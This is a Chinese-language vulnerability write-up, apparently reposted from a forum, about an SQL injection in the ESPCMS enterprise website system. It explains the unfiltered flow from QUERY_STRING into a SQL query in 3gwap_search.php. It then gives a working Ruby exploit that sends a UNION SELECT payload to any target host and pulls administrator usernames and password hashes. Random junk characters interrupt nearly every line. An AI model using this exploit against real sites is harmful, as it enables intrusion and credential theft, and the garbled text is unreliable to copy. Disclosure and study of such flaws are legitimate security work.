0×0 漏洞概述0×1 漏洞细节
# Q3 Y1 X; {! M @0 V2 \0×2 PoC
: |8 r0 x& n" H" L% L) _ w) `3 q" E' m6 J3 Y. J
; ]: \. N( O! r. m/ u* C, x
$ x% s f* o$ W5 u5 K$ H
0×0 漏洞概述1 `# {+ B$ J5 E
$ f1 w9 e! i5 ], Y7 O; _3 D易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
$ Z/ \6 U) m, _ A/ x$ G% ?# A8 g6 [/ i其在处理传入的参数时考虑不严谨导致SQL注入发生
4 ~6 M5 ^& Z& u- F: O4 g* ~; \0 _. m! t* a" A4 ]! o
9 f2 {3 z: F; q
0×1 漏洞细节
% ]8 O9 i) [: y! k& p/ f' n2 @- b g7 }, B
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。( J2 V) ~: k5 X5 E3 n
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
" o7 |( g! w( `( s5 d而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。0 D! C8 B5 l1 t
- U7 N/ h& o3 I" g/ B在/interface/3gwap_search.php文件的in_result函数中:
( q0 m% Y0 X; t: X4 Z- u v' \7 K' Q
' ]# b) k3 C2 s$ M! ~2 `
7 p3 o: D4 [/ a: O, X& l function in_result() {% n. I. a" }6 G* c4 o) V
... ... ... ... ... ... ... ... ...% t3 n, q% m* P* ^* d1 Q1 P* c
$urlcode = $_SERVER[ 'QUERY_STRING '];( P/ Z2 T/ m, u8 G2 V; m( J
parse_str(html_entity_decode($urlcode), $output);
* h( a8 n' k. Z( h/ _
& Q) i# t. y3 T* R ... ... ... ... ... ... ... ... ...8 `4 U4 i2 h& \4 O
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
1 c5 y- `( E% Q- ?" {& q, p; U- y p; Q+ G" i
$db_table = db_prefix . 'model_att';* k* J V$ v ^! h% l, _; t
. n" M/ e/ J( O/ ^; } foreach ($output['attr' ] as $key => $value) {2 l3 L, r$ G0 ~3 v) i# ?8 Q
if ($value) {
1 B8 Q e8 e4 l& K( P: [7 y0 X8 b7 m$ V, S4 S! G
$key = addslashes($key);1 t7 W! f. n) {5 w$ r g) ~
$key = $this-> fun->inputcodetrim($key);# X0 T+ q; f3 Q! E' u
$db_att_where = " WHERE isclass=1 AND attrname='$key'";5 {% Q* R9 r; V1 K: A
$countnum = $this->db_numrows($db_table, $db_att_where);$ k5 ~* {# M8 P9 P
if ($countnum > 0) {
' E4 J$ r% Q4 n& E $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
3 S8 j5 Z' H! R, V0 H }
- F5 ?4 m8 _( ^ }6 {- A& Z, i$ @+ w' V
}5 W$ v. L4 o8 N5 {! d' B
} @. Q3 g: n; w: P
if (!empty ($keyword) && empty($keyname)) {
; W% X3 \+ I4 m/ L- `5 z3 M+ C $keyname = 'title';( v1 n S0 a, a# D
$db_where.= " AND a.title like '%$keyword%'" ;
' N+ \) n, Q( y4 l+ K. k } elseif (!empty ($keyword) && !empty($keyname)) {
1 j" H" Q- x% q) V4 i' D $db_where.= " AND $keyname like '% $keyword%'";
# z0 d5 E9 W: @( ?2 G }4 q+ S1 [- j8 M, c s
$pagemax = 15;9 q: B$ W3 R6 m! X6 r
! j! [* B3 ~8 c* K+ N/ D1 R3 v8 Q
$pagesylte = 1;
1 Q! l4 g( D( m5 M5 j3 T- X2 | t& ^& y
if ($countnum > 0) {
/ ~( R9 g, T2 L+ m! x' W8 P6 O8 r7 _( h
$numpage = ceil($countnum / $pagemax);- ]2 @# c1 g% A' \9 r6 e8 O
} else {7 K4 b) D& b7 O- ^
$numpage = 1;
9 r& K% o5 O5 ?) Z' h% E$ } }
/ s, |, C. F, X& S& h# R9 s $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
9 X L. o+ S i3 V% O0 Y8 N3 m $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);& N! y9 v+ M4 O, v. M
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);# ^' K( X0 @/ E! I" D+ W) o& B; J
... ... ... ... ... ... ... ... ...( d$ _) E J0 b" a
}! U s' P2 I- n- ]
. m9 o* p ]6 e5 S7 x9 }
; j% G7 x6 C I" L' c" A0×2 PoC9 d" |. h9 T- O, X. ?
% O O: H. ^, D" k B- v- G; O6 s+ Q
8 x E) c2 |6 P- v" ~' H8 k' Q
require "net/http"
2 G; o% t' C" r% O/ R `- |( }
. E( k1 Y* E' Q7 b5 q6 V v8 Wdef request(method, url). d, ?" Y) _4 d7 K# [
if method.eql?("get")
- G) @4 |1 E* _7 v9 o& I5 d8 G3 i! ~4 V uri = URI.parse(url)
( }4 Z# O" U$ @$ V http = Net::HTTP.new(uri.host, uri.port)
& q- j, I. B0 v' d6 q response = http.request(Net::HTTP::Get.new(uri.request_uri)), p# L+ V* t; ^/ `5 O
return response7 X9 x/ o, U6 }4 I
end
, I# V4 W. Y9 B+ D! M0 z/ Xend
- M; P" f, G" L3 {8 s% o0 I
0 W/ H8 c! }; X5 Y+ cdoc =<<HERE6 X+ S/ K; ]% g: U3 X3 {/ x7 S8 |
-------------------------------------------------------
N9 ?5 o0 X& l( n+ r8 JEspcms Injection Exploit( h( }4 g4 E- g: s* I+ o
Author:ztz. X9 B0 s! p1 P
Blog:http://ztz.fuzzexp.org/% Q- }& X9 v# ~1 m+ I
-------------------------------------------------------
& Y, J/ C- H7 J& h" c- H+ M! f# }( o
( P8 C8 u& R: n U' w0 M. F9 O& VHERE
1 `9 ~( n$ j* [( l. Z! ^7 _7 h7 W- O7 E8 [+ U; f: s
usage =<<HERE
( A! j( z t1 s( NUsage: ruby #{$0} host port path* O) w. {& {( B& p5 l3 u
example: ruby #{$0} www.target.com 80 /& S! ~/ N6 q" D! |# y
HERE* r M$ L$ t5 N% \7 e. Q+ x6 k
* w) L# I: a6 a
puts doc
( H9 j6 Q# N1 e! L- ~8 w% h+ wif ARGV.length < 3
' e2 U( h9 V( P5 D7 o0 b4 u, o puts usage
0 S8 e. O2 d2 p1 v1 d; _else2 P# ^, M; u3 q3 X
$host = ARGV[0]6 W9 J5 o/ W- J
$port = ARGV[1]1 n* w0 m& Z' o: W
$path = ARGV[2]
# L9 H/ w( U3 O2 H# e: z3 C3 u0 o3 b
puts "send request..."
; X# g, w2 k8 i. T# ? url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
0 x5 w. y& }8 ~! |attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
3 v% n: G" I3 j# [,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,274 Z8 e5 ?7 d1 n$ B( v6 [$ O# l7 L
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
5 |5 d. M" g; q8 o4 } response = request("get", url)
# e$ d8 M3 g* R result = response.body.scan(/\w+&\w{32}/)# t) d& O, c5 R- D+ p2 r+ ^$ T
puts result
0 C# B2 x0 k4 t- `) q) B8 nend8 G* ~- w( _8 s g
$ \, n, L' N0 x7 O, z' t |